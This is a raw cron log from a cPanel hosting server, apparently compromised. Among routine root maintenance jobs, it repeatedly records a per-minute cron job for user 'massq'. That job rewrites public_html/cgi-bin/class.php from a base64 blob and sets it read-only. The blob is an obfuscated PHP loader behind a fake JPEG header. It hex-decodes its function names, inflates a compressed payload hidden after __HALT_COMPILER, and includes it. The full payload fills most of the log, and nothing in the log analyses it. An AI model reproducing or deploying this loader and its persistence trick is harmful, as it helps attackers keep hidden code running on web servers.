Sep  4 19:27:01 server CROND[27334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:27:01 server CROND[27336]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 19:28:01 server CROND[27710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:28:01 server CROND[27712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:28:01 server CROND[27713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:29:01 server CROND[28158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:29:01 server CROND[28159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:29:01 server CROND[28160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:30:01 server CROND[28606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:30:01 server CROND[28608]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 19:30:01 server CROND[28610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:30:01 server CROND[28611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:30:01 server CROND[28614]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 19:30:01 server CROND[28609]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:30:01 server CROND[28612]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 19:30:01 server CROND[28613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:31:01 server CROND[29495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:31:01 server CROND[29496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:31:01 server CROND[29497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:32:01 server CROND[29882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:32:01 server CROND[29881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:32:01 server CROND[29883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:33:01 server CROND[30271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:33:01 server CROND[30272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:33:01 server CROND[30273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:34:01 server CROND[30661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:34:01 server CROND[30662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:34:01 server CROND[30664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:35:01 server CROND[31062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:35:01 server CROND[31063]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:35:01 server CROND[31066]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 19:35:01 server CROND[31073]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 19:35:01 server CROND[31065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:35:01 server CROND[31076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:35:01 server CROND[31072]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 19:35:01 server CROND[31074]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:35:01 server CROND[31077]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 19:36:01 server CROND[32013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:36:01 server CROND[32014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:36:01 server CROND[32015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:37:01 server CROND[32405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:37:01 server CROND[32407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:37:01 server CROND[32406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:38:01 server CROND[346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:38:01 server CROND[347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:38:01 server CROND[348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:39:01 server CROND[762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
